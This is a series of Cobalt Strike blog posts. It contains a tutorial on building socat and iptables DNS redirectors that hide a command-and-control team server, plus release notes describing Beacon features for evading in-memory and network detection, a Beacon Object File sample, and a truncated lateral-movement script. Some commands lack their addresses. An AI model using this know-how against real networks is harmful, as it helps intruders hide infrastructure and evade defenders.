There’s a New Deputy in Town

It’s been less than a month since I joined the Cobalt Strike team. My first impressions of this team have been overwhelmingly positive. As Raphael transitioned out, He left us with a message “Cobalt Strike is in good hands.” I couldn’t agree more.

What can you expect from me? I’m here to provide input and guidance to Cobalt Strike’s overall direction, but more importantly, I’m here to interact with and learn from the community to help drive the best improvements. I encourage you to reach out with questions or discussions on offensive or defensive security topics. Consider following us on Twitter @joevest, @CoreAdvisories, and @HelpSystemMN if you’d like to keep up with the latest news on Cobalt Strike, Core Security, or HelpSystems. You can also find me hanging out in the BloodhoundGang #aggressor channel on Slack.

I titled this post “There’s a new deputy in town.” You may hear my voice more than others on the team, but I am not the sheriff. I’m just the newest member of a fantastic team. We all play different but crucial roles. I’m excited to start this new journey with this great team.

Simple DNS Redirectors for Cobalt Strike

This post, from Ernesto Alvarez Capandeguy of Core Security’s CoreLabs Research Team, describes techniques used for creating UDP redirectors for protecting Cobalt Strike team servers. This is one of the recommended mechanisms for hiding Cobalt Strike team servers and involves adding different points which a Beacon can contact for instructions when using the HTTP channel.

Unlike HTTP Beacons, DNS Beacons do not contact the team server directly, but use the DNS infrastructure for carrying messages. In theory, the team server should be referenced in the DNS records so that all queries for the Command and Control (C2) domain are delivered properly. This would mean exposing the team server to the Internet, which is not desirable.

Just as HTTP redirectors can be used to hide the team server from outside scrutiny, a DNS redirector can be used for the same thing. In the case of DNS, redirectors are just one part of the solution, as alternative domains are also necessary in case the original domain is taken down. We will not cover these aspects here, as we’ll be concentrating on the redirection part.

Redirecting TCP traffic is straightforward. There is a very delimited set of data that clearly defines what constitutes a network connection (or flow). The state is explicit and can be easily determined from the packet stream. There are several generic proxies (e.g. SOCAT) that can simply proxy TCP connections on the user space. Options for secure proxying of TCP connections are also available (stunnel and SSH port forwarding are two well-known examples).

The situation is radically different for UDP. This is due to a few factors:

  • UDP is packet oriented, while TCP is byte/connection oriented.
  • UDP is stateless and keeping track of UDP “connections” requires second guessing the “connection” state.
  • UDP is handled very differently from TCP in userland.

In a TCP proxy operation, a connection is clearly defined. This connection can transmit EOF messages, so the proxy would always be aware of the state of the connection and would unambiguously know when it should release the connection resources.

UDP is more challenging, since without a way of directly sensing the DNS transaction state, SOCAT cannot know when to release the connection resources.

Simple Redirector Construction

The obvious solution for building a DNS redirector would be to use a DNS server. There are several choices for these, with differing features. We won’t touch on these options in this article, but will instead focus on simple redirectors that can be installed on minimal Linux systems and have a very small footprint.

Our redirectors will be based on the concept of diverting a UDP flow from the redirector’s local port to the team server in a way that the team server has to send the response back to the redirector, which will relay it to the Beacon.

There are two ways of achieving this goal: piping ports together and NAT.

Port Piping

We are all familiar with the concept of piping from a network port. Anyone can do it using netcat or an equivalent tool. Anyone with experience with any of these tools will also know that redirecting UDP traffic is sometimes problematic. A DNS redirector also has these problems, but they can be kept bounded.

For these tests, we are going to use SOCAT, a UNIX tool used to connect multiple types of inputs and outputs together. This tool can do the same thing as netcat but is more versatile.

Naive SOCAT Redirector

Before we jump into the solution, we should try to see the problems. Let’s attempt a naive approach to a DNS channel redirector. We can execute a straight SOCAT, and launch a Beacon pointed to our redirector, which will be executing the following:

# socat udp4-listen:53

The initial installation works, and we see the ghost Beacon in the team server. However, any further communication fails. Monitoring the DNS traffic, we see the following:

# tcpdump -l -n -s 5655 -i eth0  udp port 53
 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 5655 bytes
05:40:26.453966 IP > 55757% A? (51)
05:40:26.454317 IP > 55757% A? (51)
05:40:26.454593 IP > 55757- 1/0/0 A (100)
05:40:26.454687 IP > 55757- 1/0/0 A (100)
05:41:26.689753 IP > 56196% A? (51)
05:42:27.217514 IP > 28170% A? (51)
05:43:27.532055 IP > 59203% A? (51)
05:44:27.653780 IP > 14169% A? (51)
05:45:27.770012 IP > 52473% A? (51)
05:46:28.051530 IP > 26440% A? (51)
05:47:28.190316 IP > 41092% A? (51)

Well, the Beacon checked in fine, but after the first DNS request the pipeline stalls. This is because the UDP protocol is stateless. SOCAT never got the idea that the first transaction was over and is still waiting for data from the same source port, ignoring all the others.

This can easily be solved by telling SOCAT to fork for every packet it sees. Below we show our second attempt at doing a SOCAT redirector:

# socat udp4-listen:53,fork
# tcpdump -l -n -s 5655 -i eth0  udp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 5655 bytes
05:53:45.783953 IP > 3962% A? (51)
05:53:45.784730 IP > 3962% A? (51)
05:53:45.784860 IP > 3962- 1/0/0 A (100)
05:53:45.784954 IP > 3962- 1/0/0 A (100)
05:54:00.847401 IP > 57475% A? (51)
05:54:00.848289 IP > 57475% A? (51)
05:54:00.848436 IP > 57475- 1/0/0 A (100)
05:54:00.848541 IP > 57475- 1/0/0 A (100)
05:54:15.917608 IP > 29854% A? (51)
05:54:15.918490 IP > 29854% A? (51)
05:54:15.918615 IP > 29854- 1/0/0 A (100)
05:54:15.918719 IP > 29854- 1/0/0 A (100)

Our Beacon is now alive and communicating well! SOCAT now waits for packets coming from new sources and forwards them to our team server. While everything appears to be normal, this is unfortunately not the case, as this redirector will not work for long. Let’s inspect the process table:

# ps 
  PID TTY          TIME CMD
5365 pts/0    00:00:00 sudo
5366 pts/0    00:00:00 bash
5864 pts/0    00:00:00 socat
5865 pts/0    00:00:00 socat
5866 pts/0    00:00:00 socat
5867 pts/0    00:00:00 socat
5868 pts/0    00:00:00 socat
5869 pts/0    00:00:00 socat
5870 pts/0    00:00:00 socat
5871 pts/0    00:00:00 socat
5883 pts/0    00:00:00 socat
5886 pts/0    00:00:00 socat
5888 pts/0    00:00:00 socat
5889 pts/0    00:00:00 socat
5890 pts/0    00:00:00 socat
5891 pts/0    00:00:00 socat
5903 pts/0    00:00:00 socat
5904 pts/0    00:00:00 socat
5908 pts/0    00:00:00 socat
5910 pts/0    00:00:00 socat
5911 pts/0    00:00:00 socat
5912 pts/0    00:00:00 socat
5913 pts/0    00:00:00 socat
5914 pts/0    00:00:00 socat
5923 pts/0    00:00:00 ps

This does not look good. SOCAT processes are piling up. Let’s stress the redirector a bit by requesting a few screenshots and then check the process table:

# ps | grep socat | wc -l

If we weren’t root, we would have run out of process slots long ago. Even the superuser will eventually have problems with this redirector:

socat udp4-listen:53,fork
2021/03/02 06:09:57 socat[5864] E fork(): Resource temporarily unavailable

As expected, we ran out of resources. Worse, we still have several thousand SOCAT processes waiting. The problem was caused because SOCAT does not notice that a transaction has run out, and still keeps its resources allocated.

Working UDP SOCAT Redirector

Now that we understand the problems involving UDP proxying, we can build a functional solution. The trick is telling SOCAT to drop the connections as soon as the transaction is complete. Telling SOCAT to apply a 5 second inactivity timeout should do the trick:

 # socat -T 5 udp4-listen:53,fork

In the example above, we told SOCAT that if no data is seen for five seconds, it should close the socket and assume that no further communication is needed.

While five seconds is a reasonable default timeout, we can attempt to optimize this value. To fine tune the timeout, we should understand the problem we’re facing. A DNS request is sent to our reflector, which is relayed to the team server. Once the team server answers, the transaction is over.

This limits our timeout to something we can control: the round-trip time between the redirector and the team server, including the time needed to process the request. A reasonable value would be twice the RTT between the hosts, to have some safety margin. Since our test hosts are in the same LAN, a timeout of one second should be more than enough for our example.

Below we show the process usage for five and one second timeouts:

The graph shows that the number of SOCAT processes rises as soon as there is activity, but the timeout causes the number of active processes to reach a plateau and stay at a certain value, depending on the activity and the timeout.

Working SOCAT UDP/TCP Redirector

We now have a working redirector. We can also use SOCAT for UDP to TCP translation. For every UDP packet received, we can fork and open a TCP connection, sending the DNS data via TCP. It is very important not to recycle connections, because UDP is packet oriented while TCP is not. We should never put more than one packet within a TCP connection, because two packets might be joined or split. In theory, SOCAT might decide to split a DNS request in two UDP packets, but this does not happen in practice. You should know that there is always that risk when doing UDP to TCP translations.

We tell SOCAT to take traffic from port 53, and for each packet, to open a connection to port 9191/tcp on the team server. The timeout is set to one second, which might be a bit too low, considering that TCP is involved:

# socat -T 1 udp4-listen:53,fork

Since we’re encapsulating our data within TCP, we need to run the following in the team server:

# socat -T 10 tcp4-listen:9191,fork udp4:

Let’s now try generating some traffic and see what happens.

The dip in the middle represents a lapse in activity. The quick timeout allows for fast recovery. Overall, it’s not bad, but we also need to see how many open connections we have.

The numbers are somewhat high because TCP requires a wait period when a connection is closed from the client side. This is needed in case some control messages are lost and should not be removed for the protocol to operate properly. This is not a problem, though, because the number of resources allocated reach an equilibrium. A few RTT after the activity goes down, the resource usage drops as well.

Once we have the translation capability, we can take advantage of it. With DNS over TCP connections, we can take advantage of other proxying utilities, like stunnel or SSH’s port forwarding, and attempt to hide the team server from public scrutiny. The team server can be kept in an isolated network, without being exposed to the Internet.

NAT Based Redirectors

Another possible solution involves NAT. The concept behind a NAT redirector is to apply two NAT operations to incoming packets. The packet must be redirected to the team server, but at the same time, the packet must also be translated so that it appears to come from the redirector.

Failing to apply the second operation will cause the team server to answer the DNS query itself. The response will be ignored, as it will come from a different DNS server.

For our NAT redirector, we use Linux’s IPTABLES.

IPTABLES Based Redirector

IPTABLES is also well suited for use as a redirector. The Linux kernel’s NAT system automatically keeps track of connection state, even for UDP traffic. The detection is based on timers and inactivity, but the system is well developed and very stable.

The advantage of IPTABLES redirectors is that they’re lightning fast, incredibly efficient, and robust. Unlike SOCAT redirectors, iptables cannot convert from one protocol to another as IPTABLES works by packet mangling.

To create a working redirector, two things need to happen at the same time. Once a DNS query reaches the redirector, it must be redirected to the team server. This requires a DNAT operation.

However, if DNAT is used alone the packet will be diverted without changing the source address. As we already explained, this is not a good result, so we’ll also need to execute a SNAT operation.

The decision for doing the double NAT needs to be taken before any of the operations take place, as the DNAT change in the PREROUTING rule will erase important information present in the packet (namely whether this packet is addressed to the redirector or not).

To execute both operations simultaneously, we call the MARK target in the PREROUTING chain, and match the packet using every parameter of interest. Once the packet is marked, we can apply all operations both in the PREROUTING and POSTROUTING chains, completely changing the packet.

One final detail is that IP forwarding must be enabled in the redirector, since all these operations count as a forward, even if the packet is sent through the same interface it came in.

In the end, there are four commands that need to be called:

#enable IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward

#Mark incoming DNS packets with the tag 0x400
iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destination my.ip.address 
--destination-port 53 -j MARK --set-mark 0x400

#For every marked packet, apply a DNAT and a SNAT (in this case, a MASQUERADE)
iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp 
-j DNAT --to-destination
iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE

Evaluating the capabilities listed in the proc filesystem, we see that we have 65,536 entries in the translation table (proc/sys/net/netfilter/nf_conntrack_max), and 16,384 buckets (/proc/sys/net/netfilter/nf_conntrack_buckets). This indicates that even at peak capacity, the lookups should be quick. These are default values and can be easily changed by writing a new number to the file, if necessary.

The system keeps track of the traffic passing through the redirector, so no action is needed for returning packets since they are translated back automatically.

To evaluate the performance of the redirector, we can measure the number of active NAT entries and how this number changes as the system is loaded. To measure this, we can read /proc/sys/net/netfilter/nf_conntrack_count.

Our experiment starts with a Beacon signaling at 15 second intervals. The Beacon is then made to signal continuously, followed by a high activity period. Once this activity period is over, the Beacon is reconfigured to its initial value of 15 seconds between polls.

In the test above we can see that the number of occupied slots depends on the network activity. With just one Beacon polling at 15 second intervals, the amount of conntrack slots is less than 10. If we switch to no delay, the value quickly grows to about 500, depending on availability throughput. When heavy activity is requested, the connection states steadily rise to 2500 and plateaus at 2700. Once activity ceases, connection tracks decrease until around 90 seconds, at which point they are all expired and the value stabilizes below 10.

IPTABLES redirectors perform quite well with very modest resources, even with default settings. This is not surprising, given the nature of the Linux kernel. Redirectors like this one can easily be deployed on the smallest computers or cloud instances. IPTABLES redirectors, once set up, are pretty much foolproof.


In this article, we saw three different implementations of DNS Beacon redirectors. Though these implementations have different advantages and disadvantages,  they are ultimately all very usable.

The IPTABLES based redirector is the quickest with the smallest footprint, being included by default in the kernel, and needing just four commands.

The SOCAT based redirectors are similar, the main difference being whether traffic is converted to TCP or not. UDP redirectors are simplest, but TCP redirectors have an advantage in the sense that TCP connections are easier to encapsulate, which is an advantage in special cases, like when the traffic must be tunneled via SSH.

Resource usage Speed Versatility Ease of Use Stability
SOCAT TCP 0 ++ + 0
SOCAT UDP + + + ++ +
IPTABLES ++ ++ 0 ++ ++


Cobalt Strike 4.3 – Command and CONTROL

Cobalt Strike 4.3 is now available. The bulk of the release involves updates to DNS processing but there are some other, smaller changes in there too.

DNS updates

We have added options to Malleable C2 to allow DNS traffic to be masked. A new dns-beacon block allows you to specify options to override the DNS subhost prefix used for different types of request. All existing options relating to DNS have also been moved inside this block. The affected options are: dns_idle, dns_max_txt, dns_sleep, dns_ttl, maxdns, dns_stager_prepend and dns_stager_subhost.

Something that you should be aware of is that the addition of the dns-beacon block means that in order for them to be processed, these existing options need to be defined inside the block. Values for these options outside of the dns-beacon block in existing profiles will be ignored.

dns-beacon {
    # Options moved into 'dns-beacon' group in 4.3:
    set dns_idle             "";
    set dns_max_txt          "199";
    set dns_sleep            "1";
    set dns_ttl              "5";
    set maxdns               "200";
    set dns_stager_prepend   "doc-stg-prepend";
    set dns_stager_subhost   "doc-stg-sh.";
    # DNS subhost override options added in 4.3:
    set beacon               "doc.bc.";
    set get_A                "doc.1a.";
    set get_AAAA             "doc.4a.";
    set get_TXT              "doc.tx.";
    set put_metadata         "";
    set put_output           "doc.po.";
    set ns_response          "zero";

Another change related to DNS is the addition of functionality to allow a DNS Beacon to egress using a specific DNS resolver, rather than the default DNS resolver for the target server. A new DNS Resolver field has been added to the DNS listener configuration dialog to facilitate this change.

Rounding out the DNS changes, a smaller change is the addition of a customization option related to how the server responds to NS record requests. We have noticed that some DNS resolvers do not allow the DNS Beacon to successfully egress to their team server due to unexpected NS record requests being injected into the communications. Prior to this release, the team server would drop the NS requests and if certain DNS resolvers fail to receive responses to those requests, DNS communications would fail. To get around this issue, we have added another option (ns_response) to the new dns-beacon block to allow the response to those requests to be customized.

Host rotation

We have made improvements to evasion in the DNS and HTTP/S Beacons by adding a host rotation strategy option. Prior to this release, a close examination of DNS and HTTP/S traffic would reveal a round robin pattern of host processing. A new host rotation strategy option in the listener configurations for the DNS and HTTP/S Beacons allows you to use different strategies for rotating through hosts. The options include the existing round robin rotation plus three new options – random, rotate on failure, and rotate after a set period of time.

Quality-of-life updates

Outside of the main DNS theme to the release, we have made a couple of a smaller, quality-of-life changes; the first of which is the addition of a PowerShell IEX option in Scripted Web Delivery. The new powershell IEX option outputs a shorter IEX command that can be pasted directly into a PowerShell console.

Another quality-of-life change is the option to prefix console messages with a timestamp. This option can be turned on or off via the console preferences dialog.

User agent handling

One final update to mention involves how requests from certain user agents are handled. The default behaviour of the team server prior to this release has been to block requests from user agents starting with “curl”, “lynx” or “wget” with a 404 response. We have received feedback that this causes problems for some users that want their server to be able to respond to requests from traffic that appears to be coming from certain user agents. To address this, we have added a block_useragents option to the http-config block within the Malleable C2 profile. This allows you to specify which user agents to respond to.

To see a full list of what’s new in Cobalt Strike 4.3, please check out the release notes. Licensed users can run the update program to get the latest version. To purchase Cobalt Strike or ask about evaluation options, please contact us for more information.

Cobalt Strike 4.2 – Everything but the kitchen sink

Cobalt Strike 4.2 is now available. This release overhauls our user exploitation features, adds more memory flexibility options to Beacon, adds more behavior flexibility to our post-exploitation features, and makes some nice changes to Malleable C2 too.

User Exploitation Redux

Cobalt Strike’s screenshot tool and keystroke logger are examples of user exploitation tools. These capabilities are great for risk demonstration and story telling. But, with good UX, these features are also powerful capabilities to collect information that aids moving closer to an objective in a network.

Cobalt Strike’s screenshot tool and keystroke logger now report active window, username, and desktop session with each of their results. This context helps our GUI, logs, and reports display where this information came from. It’s a subtle change, but a big enhancement:

The right-click menu in the screenshot and keystroke has updates too. You can now remove a keystroke buffer or screenshot from the interface. Highlight a row with a color. And, save the keystroke buffer or screenshot to a local file as well.

We also split screenshot into two commands: screenshot and screenwatch. The screenshot command takes a single screenshot. The screenwatch command (which can fork&run or inject into a specific process) takes screenshots continuously until it’s stopped with the jobkill command.

As believers in offense in depth, we’ve added new options to acquire screenshots and log keystrokes too. The printscreen command forces a PrintScr keypress and grabs the screenshot from the clipboard. This command was inspired by the creative and awesome Advanced Post-Exploitation Workshop given by @zerosum0x0 and @aleph__naught at 2017’s DEF CON 25. And, we’ve added a post-ex -> keylogger Malleable C2 option to change the keystroke logger between GetAsyncKeyState and SetWindowsHookEx methods.

More In-memory Flexibility

Cobalt Strike has long had an interest in in-memory detection and evasion. I love in-memory detections, because I think these tactics put real pressure on post-exploitation survival. But, it’s also important to challenge security teams that rely on these tactics, to force thinking beyond that “one easy trick” that’s working right now.

Cobalt Strike 4.2 continues to build Beacon’s in-memory flexibility.

Beacon’s Reflective Loader now has two added options for allocating memory for the Beacon payload in memory. Set stage -> allocator to HeapAlloc to use RWX heap memory for the Beacon payload. Set stage -> allocator to MapViewOfFile to stick Beacon in mapped memory. This is in addition to VirtualAlloc (the default) and 3.11’s module stomping, which is our way of putting Beacon into image memory.

We’ve also added new options for content flexibility. Beacon’s Reflective DLL follows Metasploit’s conventions to make itself self-bootstrapping. We patch the beginning of the DLL (the part with that MZ header) with instructions to call the Reflective Loader with a few arguments. A common in-memory detection trick is to scan executable memory regions for MZ and PE content that looks like a PE/COFF file. These items are easy “it has to be there” content to find a Reflective DLL. Not anymore though.

Set magic_mz_x86 to change the x86 Reflective DLL MZ header in Beacon. This updates the other parts of the loading process that depend on the value. The catch is that valid x86 instructions are required for magic_mz_x86. For example, MZ in x86 are the instructions dec ebp, pop edx. You don’t want to begin execution with unexpected state, so it’s also recommended to undo any state changes made by your instructions. This is why the default magic_mz_x86 value is MZRE. The R and E bytes decode to push edx, inc ebp. They undo the effect of the MZ instructions. The same idea applies for set magic_mz_x64 too.

We’ve also added set magic_pe which changes the PE header magic bytes (and code that depends on these bytes) to something else. You can use whatever you want here, so long as it’s two characters.

Post-ex Omikase Shimasu: Second serving

Cobalt Strike 3.14 introduced a lot of options to change behaviors, characteristics, and content in Cobalt Strike’s post-exploitation DLLs. Cobalt Strike 4.2 continues this work.

We’ve added post-ex -> pipename to Malleable C2. This is an option to specify a comma-separated list of pipenames. Cobalt Strike will choose one of these when it executes its post-exploitation jobs. #s in the pipename are replaced with a [a-f0-9] character. We’ve also added set ssh_pipename to change the named pipe used by Cobalt Strike’s SSH client. Multiple pipenames are allowed in this option too.

Some of Beacon’s post-exploitation DLLs do create threads. In a keystroke logger that uses GetAsyncKeyState, this isn’t easily avoidable. 🙂 To help these situations, we’ve introduced post-ex -> thread_hint to Malleable C2. When set, our post-ex DLLs will create a suspended thread with the specified module!function+0x[offset] address. Update the thread to run the post-exploitation capability. And, resume it. This is a way to push back on point-in-time analysis that looks for moduleless thread start addresses.

And, one of my favorite features in Cobalt Strike is the obfuscate and sleep feature. This is the ability for Beacon to mask its content [and code, if you’re RWX] in memory during long blocking periods. Obfuscate and sleep is a method to push back on point-in-time analysis that looks for known strings in memory. Now, when post-ex -> obfuscate is true, Cobalt Strike’s execute-assembly, keystroke logger, screenshot, and SSH client features will mask many of their strings while they’re running.

Malleable C2 Things…

And, we’ve made several updates to the communicate side of Malleable C2. We’ve doubled the maximum size of the global useragent field. We’ve also doubled the max size of the the http-get -> client and http-post -> client programs too. This will help those of you that had run into the previous limits in your profile writing.

This release adds the global headers_remove option. This option affects http-get and http-post client blocks. It’s a late-in-the-transaction option to remove unwanted HTTP client headers from the communication. WinINet, based on its configuration, will force some headers into the transaction. You may specify specify multiple unwanted headers (separate them with commas) in this option.

And, Cobalt Strike 4.2 introduces a data content jitter as well. Set data_jitter to a number value and Cobalt Strike will append a random content and length string (up to the data_jitter value bytes) to its http-get and http-post server output.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.2. Licensed users may run the update program to get the latest. To procure Cobalt Strike (or ask about evaluation options), please contact us for more information.

Cobalt Strike 4.1 – The Mark of Injection

Cobalt Strike 4.1 is now available. This release introduces a new way to build post-ex tools that work with Beacon, pushes back on a generic shellcode detection strategy, and grants added protocol flexibility to the TCP and named pipe Beacons.

Beacon Object Files

Cobalt Strike has weaponization options for PowerShell, .NET, and Reflective DLLs. These three options rely on Beacon’s fork&run mechanism. This is Cobalt Strike’s pattern to spawn a process, inject a capability into it, and receive output over a named pipe. This is OK in some engagements. It’s too OPSEC-expensive in others.

We’ve long had requests for some option to run custom capability directly within the Beacon payload, without fork&run. Beacon Object Files are our answer to this request. Beacon Object Files are a way to build small post-ex capabilities that execute in Beacon, parse arguments, call a few Win32 APIs, report output, and exit.

A Beacon Object File is an object file, produced by a C compiler, that is linked and loaded by Cobalt Strike. Beacon Object Files can call Win32 APIs and have access to some internal Beacon APIs (e.g., for output, token impersonation, etc.).

Here’s an example Beacon Object File (it’s Beacon’s ‘net domain’ command):

#include <windows.h>
#include <stdio.h>
#include <LM.h>
#include <dsgetdc.h>
#include "beacon.h"
void go(char * args, int alen) {
    DWORD dwRet;
    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
    if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);

To compile this with MinGW:

x86_64-w64-mingw32-gcc -c net_domain.c -o net_domain.o

Or, if you prefer, you can use Microsoft’s compiler as well:

cl.exe /c /GS- net_domain.c /Fonet_domain.o

Use Beacon’s inline-execute command to run it:

beacon> inline-execute /path/to/net_domain.o

Beacon Object Files do have limits. As it’s an object file and Beacon is the linker, the functions available to you are the ones located in your object file, the Win32 API (following the convention of modulename$function), and the built-ins resolved by Beacon.

The benefit of Beacon Object Files is they’re very small (none of the cruft from DLLs), Beacon has full control over how and where they live in memory, and they do not require [too many] C coding tricks or carefully crafted compiler and linker switches.

The Mark of Injection

Position-independent code (injected DLLs, stagers, etc.) in many offense toolkits have a common initial action. They immediately find kernel32 in memory and walk its Export Address Table to find function pointers needed to bootstrap the position-independent code.

The NT Shellcode Prevention Demystified article in a 2005 issue of Phrack details a detection based on this behavior. Microsoft’s EMET implements this as EAF (Export Address Filtering). A graduated version of the EMET implementation is baked into Windows 10 as EAF+. This concept is interesting stand-alone. It’s also interesting as a signal to mark a process or thread as compromised with injected code to support behavior-based detection chains.

Cobalt Strike’s strategy to avoid this behavior is to pass key function pointers to its post-exploitation tools, when they’re known. This is smart inject and it was introduced in Cobalt Strike 3.14 for the product’s built-in fork&run post-exploitation features.

This release extends Smart Inject to the Beacon payload.

The Artifact Kit and Resource Kit (PowerShell only) were updated with a convention to patch GetProcAddress and GetModuleHandleA into position-independent code before it executes. This allows Beacon to bootstrap itself without walking the import or export address tables to find these pointers.

For built-in actions that spawn a session (e.g., spawnas, spawnu, inject, etc.); Beacon will generate a payload that inherits key function pointers from a same-arch parent Beacon. &payload_local in Aggressor Script exists to allow scripted session passing capability to do the same.

Smart Inject is optional and it’s disabled by default. Set stage -> smartinject to true, via your Malleable C2 profile, to enable this behavior in your Beacon payload. Set post-ex -> smartinject to true, to enable this behavior in Beacon’s post-ex DLLs.

Malleable Named Pipe and TCP Communication

This release introduces some malleability to Cobalt Strike’s named pipe and TCP Beacons.

The named pipe Beacon has long had the ability to set the named pipe to something other than the default. This release adds the smb_frame_header option to prepend a header to every frame sent via the named pipe Beacon. This is a way to push back on static detections that target the structure and content of named pipe Beacon messages.

The TCP Beacon also has tcp_frame_header to prepend a header to frames sent by the TCP Beacon.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.1. Licensed users may run the update program to get the latest. If you get a certificate error, download the latest distribution package.

If this release piques your interest in Cobalt Strike, contact us for a quote.

SSL certificate verification for failed

TL;DR a certificate for part of the Cobalt Strike update infrastructure changed. Download the 20200511 distribution package to avoid certificate verification errors.

If you recently ran the Cobalt Strike update program (version 20191204); you may see a nice message about the failed SSL certificate verification for hosts a text file with SHA256 hashes for the licensed Cobalt Strike product and its distribution packages. The update program queries this server after it downloads a new Cobalt Strike update. The update programs pins the certificate for this server. When the certificate does not match what update expects, the update program rightfully gives a rather stern and scary warning. “Someone may be hacking you, don’t trust this update”. This is by design. I want you to know you’re getting the update from HelpSystems and not Comrade Adversary and their merry band of update poisoning friends.

The above step works great when the update program knows the current SSL certificate. Today was a special day for though. Its certificate expired. This was a planned event and the update program did ship with a hash for the replacement certificate when I pushed the 4.0 release in December. Sadly, the string representation of the new certificate hash differed in a way that causes the update program to reject the new certificate. Oops!

I’ve updated the update program to resolve this issue. It’ll say Cobalt Strike Update (20200511) when you run it. If you’re seeing this certificate error, download the updated distribution package at

Cobalt Strike 4.0 – Bring Your Own Weaponization

Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method {
    local('$script $command $args');
    # state what we're doing.
    btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");
    # separate our command and arguments
